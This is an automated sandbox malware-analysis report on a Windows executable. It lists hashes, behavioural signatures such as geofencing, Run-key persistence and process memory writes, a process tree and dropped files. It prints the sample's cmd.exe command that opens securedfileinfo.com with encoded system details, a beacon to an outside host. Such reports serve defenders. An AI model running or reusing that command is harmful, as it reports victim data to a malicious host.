Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 06:01

General

  • Target

    97c36534979c3e3841b555dfe36cd2ba94682eed86b0c8c6853d11c24d25d239.exe

  • Size

    143KB

  • MD5

    a7a7d120f72be53b6dd2c389823a39e9

  • SHA1

    d9bd2171a4171a4f0efb4dc4ff02c099f1332bc8

  • SHA256

    97c36534979c3e3841b555dfe36cd2ba94682eed86b0c8c6853d11c24d25d239

  • SHA512

    4bdc79010e1c976d76ca39e7198a04b6c22779aa9044f872942d397adbab65b2ec2f7c59dbb5078ffc3e4b76d9b9b5931e47237a3d93a3fe75db6efdecd62908

  • SSDEEP

    3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DaY:pe9IB83ID5uY

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\97c36534979c3e3841b555dfe36cd2ba94682eed86b0c8c6853d11c24d25d239.exe
    "C:\Users\Admin\AppData\Local\Temp\97c36534979c3e3841b555dfe36cd2ba94682eed86b0c8c6853d11c24d25d239.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2012
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5301121^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4564
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5301121&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
        3⤵
        • Adds Run key to start application
        • Enumerates system info in registry
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:380
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xd8,0x110,0x7ffa073c46f8,0x7ffa073c4708,0x7ffa073c4718
          4⤵
            PID:4612
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
            4⤵
              PID:2780
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 /prefetch:3
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4152
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2768 /prefetch:8
              4⤵
                PID:1476
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3332 /prefetch:1
                4⤵
                  PID:3240
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
                  4⤵
                    PID:4996
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4712 /prefetch:8
                    4⤵
                      PID:4940
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
                      4⤵
                        PID:3432
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5784 /prefetch:8
                        4⤵
                          PID:3956
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
                          4⤵
                            PID:400
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5820 /prefetch:1
                            4⤵
                              PID:2764
                            • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6348 /prefetch:8
                              4⤵
                                PID:2544
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                4⤵
                                • Drops file in Program Files directory
                                PID:5072
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x228,0x22c,0x230,0x204,0x234,0x7ff604195460,0x7ff604195470,0x7ff604195480
                                  5⤵
                                    PID:4564
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6348 /prefetch:8
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:1280
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3916 /prefetch:8
                                  4⤵
                                    PID:2900
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5420 /prefetch:8
                                    4⤵
                                      PID:5048
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1044 /prefetch:8
                                      4⤵
                                        PID:3248
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2136,216279754226380065,16283074381440763553,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1880 /prefetch:8
                                        4⤵
                                          PID:2156
                                  • C:\Windows\System32\CompPkgSrv.exe
                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                    1⤵
                                      PID:2420

                                    Network

                                          MITRE ATT&CK Enterprise v6

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                            Filesize

                                            1KB

                                            MD5

                                            f2080851a6780703a0f3764645202ce1

                                            SHA1

                                            6e16ec7fe0404b0fe43ebd271ca47ffba9fc9588

                                            SHA256

                                            d3969401d4fc819669b9ce997251cc41d4883a31c4f43271b088944fadce3a83

                                            SHA512

                                            50e5661d1b5c66073c34d164b49733d7c1c1d7b2782611596646b60dae81321c5c92f9e64dce980cea8306b29db6136e582dcc07f1a951580c1f9f4d69643121

                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                            Filesize

                                            472B

                                            MD5

                                            9f6cc8d3fe9092a6d3901e873a87fd87

                                            SHA1

                                            2e0aac117a4cc57596efb3d6f6624c269f94b031

                                            SHA256

                                            e73982e62b92abac3d15b161f4525448cc2bc8b9bacefdcbfc6f87b74ec372e4

                                            SHA512

                                            9736a099967d7ad595439768e45c633ff7d34de92f7cb0c19cd3d4590c4a6dd4fedfcd1b5617c81652e61f4ffe919057507f622f4c6d8d626cfc40234ad2c757

                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                            Filesize

                                            724B

                                            MD5

                                            f569e1d183b84e8078dc456192127536

                                            SHA1

                                            30c537463eed902925300dd07a87d820a713753f

                                            SHA256

                                            287bc80237497eb8681dbf136a56cc3870dd5bd12d48051525a280ae62aab413

                                            SHA512

                                            49553b65a8e3fc0bf98c1bc02bae5b22188618d8edf8e88e4e25932105796956ae8301c63c487e0afe368ea39a4a2af07935a808f5fb53287ef9287bc73e1012

                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

                                            Filesize

                                            410B

                                            MD5

                                            1a2473990b0d2307d7082a97f34ae3e7

                                            SHA1

                                            e31562d7b6f3e094693a040432b90f8fc5806a8e

                                            SHA256

                                            71f00fe3f237b439c0f4fd9ce330c6d35a66c78d8d14ae4cb2c215175f90102e

                                            SHA512

                                            5317392755094e69a9117bc9f632efc9657e21ad06c7c68f075ad15b9ebe4b17acc75b1f1403e162bad26fd6391b05a5edae24f37debc7a137e2feb9e5fd0760

                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_46F574BDF8F8E3AC29733131E4667BA4

                                            Filesize

                                            402B

                                            MD5

                                            c4b54b335a3818cba67ed8a62145190a

                                            SHA1

                                            df93ca2e39c763223253c30c86b7aaaabb0c6ecf

                                            SHA256

                                            0e86cd77b28f356dc7786f9111f77b5156fb97cd32e3731e7a854b08d22f15e3

                                            SHA512

                                            d56434fcf2cf565290b9e4b92f9959bde7963460b135bbeb7d302514151e17cdefe105d697caf85ff38330b398e37c7a159c6e498d39bb6390bd4696e7d7c82b

                                          • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA

                                            Filesize

                                            392B

                                            MD5

                                            84d6e68e9e8c783be504f4e858d45017

                                            SHA1

                                            0a09e18b02b84f7a900d01c6f620015968ad0bf1

                                            SHA256

                                            4905e0d8e0229d3f272a7e7daff01a05cf6b193dd336e4feccb0fdb33e3e2009

                                            SHA512

                                            444895f9b976e28ab6ad23ccda307d572e1b16740bacf17b94404507142529b84129a58b8fe24b2b8579be431914552d15759ca35ce320f6a657750fb6c1f371